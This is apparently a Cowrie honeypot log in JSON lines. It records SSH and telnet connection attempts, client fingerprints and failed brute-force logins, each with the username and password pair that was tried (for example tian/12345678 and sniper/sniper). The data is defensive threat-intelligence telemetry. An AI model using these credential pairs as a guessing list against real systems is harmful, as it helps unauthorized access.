{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:37.439409Z","src_ip":"135.181.101.111","session":"0c2c64b4d787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.88.194.26","src_port":59324,"dst_ip":"159.203.135.109","dst_port":22,"session":"41cc12ddcb49","protocol":"ssh","message":"New connection: 176.88.194.26:59324 (159.203.135.109:22) [session: 41cc12ddcb49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:46.184218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:46.188419Z","src_ip":"176.88.194.26","session":"41cc12ddcb49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:46.312180Z","src_ip":"176.88.194.26","session":"41cc12ddcb49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tian","password":"12345678","message":"login attempt [tian/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:46.840119Z","src_ip":"176.88.194.26","session":"41cc12ddcb49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:47.967880Z","src_ip":"176.88.194.26","session":"41cc12ddcb49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":44660,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa972e6a54b5","protocol":"ssh","message":"New connection: 20.244.18.126:44660 (159.203.135.109:22) [session: fa972e6a54b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:00.959630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:00.963572Z","src_ip":"20.244.18.126","session":"fa972e6a54b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:01.166794Z","src_ip":"20.244.18.126","session":"fa972e6a54b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sim","password":"sim123!","message":"login attempt [sim/sim123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:02.013363Z","src_ip":"20.244.18.126","session":"fa972e6a54b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:03.219428Z","src_ip":"20.244.18.126","session":"fa972e6a54b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":59224,"dst_ip":"159.203.135.109","dst_port":22,"session":"11a13d10b3c2","protocol":"ssh","message":"New connection: 211.106.133.202:59224 (159.203.135.109:22) [session: 11a13d10b3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:12.374501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:12.379164Z","src_ip":"211.106.133.202","session":"11a13d10b3c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:12.589643Z","src_ip":"211.106.133.202","session":"11a13d10b3c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"virl","password":"Virl123!","message":"login attempt [virl/Virl123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:13.511423Z","src_ip":"211.106.133.202","session":"11a13d10b3c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:14.728760Z","src_ip":"211.106.133.202","session":"11a13d10b3c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00166463851929,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:20.835049Z","src_ip":"36.137.121.41","session":"85718af8bd48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":63726,"dst_ip":"159.203.135.109","dst_port":22,"session":"30a716138fa5","protocol":"ssh","message":"New connection: 107.150.103.210:63726 (159.203.135.109:22) [session: 30a716138fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:40.560776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:40.565292Z","src_ip":"107.150.103.210","session":"30a716138fa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:40.631365Z","src_ip":"107.150.103.210","session":"30a716138fa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"inversiones","password":"inversiones123","message":"login attempt [inversiones/inversiones123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:40.926501Z","src_ip":"107.150.103.210","session":"30a716138fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:41.994942Z","src_ip":"107.150.103.210","session":"30a716138fa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":47766,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d52ee9f3eb2","protocol":"ssh","message":"New connection: 5.75.137.141:47766 (10.17.0.5:22) [session: 4d52ee9f3eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:42.975660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:42.979574Z","src_ip":"5.75.137.141","session":"4d52ee9f3eb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:43.070851Z","src_ip":"5.75.137.141","session":"4d52ee9f3eb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"1234","message":"login attempt [test2/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:43.257460Z","src_ip":"5.75.137.141","session":"4d52ee9f3eb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41620,"dst_ip":"10.17.0.5","dst_port":22,"session":"30771e6bf18c","protocol":"ssh","message":"New connection: 2.57.122.208:41620 (10.17.0.5:22) [session: 30771e6bf18c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:43.753944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:43.823545Z","src_ip":"2.57.122.208","session":"30771e6bf18c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:44.166493Z","src_ip":"2.57.122.208","session":"30771e6bf18c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:44.353369Z","src_ip":"5.75.137.141","session":"4d52ee9f3eb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:44.812689Z","src_ip":"2.57.122.208","session":"30771e6bf18c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:45.937681Z","src_ip":"2.57.122.208","session":"30771e6bf18c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":60434,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccb864b367f5","protocol":"ssh","message":"New connection: 103.59.94.61:60434 (159.203.135.109:22) [session: ccb864b367f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:56.957904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:56.961663Z","src_ip":"103.59.94.61","session":"ccb864b367f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:57.216855Z","src_ip":"103.59.94.61","session":"ccb864b367f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"1234","message":"login attempt [amir/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:58.266995Z","src_ip":"103.59.94.61","session":"ccb864b367f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:47:59.523111Z","src_ip":"103.59.94.61","session":"ccb864b367f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.236.235","src_port":58286,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f3bc5d525cc","protocol":"ssh","message":"New connection: 182.52.236.235:58286 (159.203.135.109:22) [session: 8f3bc5d525cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:18.666508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:18.670855Z","src_ip":"182.52.236.235","session":"8f3bc5d525cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:18.922931Z","src_ip":"182.52.236.235","session":"8f3bc5d525cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tian","password":"12345678","message":"login attempt [tian/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:19.962960Z","src_ip":"182.52.236.235","session":"8f3bc5d525cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:21.217657Z","src_ip":"182.52.236.235","session":"8f3bc5d525cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":56430,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a2c9a08e8f9","protocol":"ssh","message":"New connection: 14.225.2.125:56430 (10.17.0.5:22) [session: 0a2c9a08e8f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:26.406534Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:26.695613Z","src_ip":"14.225.2.125","session":"0a2c9a08e8f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":56446,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c8426678952","protocol":"ssh","message":"New connection: 14.225.2.125:56446 (10.17.0.5:22) [session: 5c8426678952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:48:26.947893Z"}
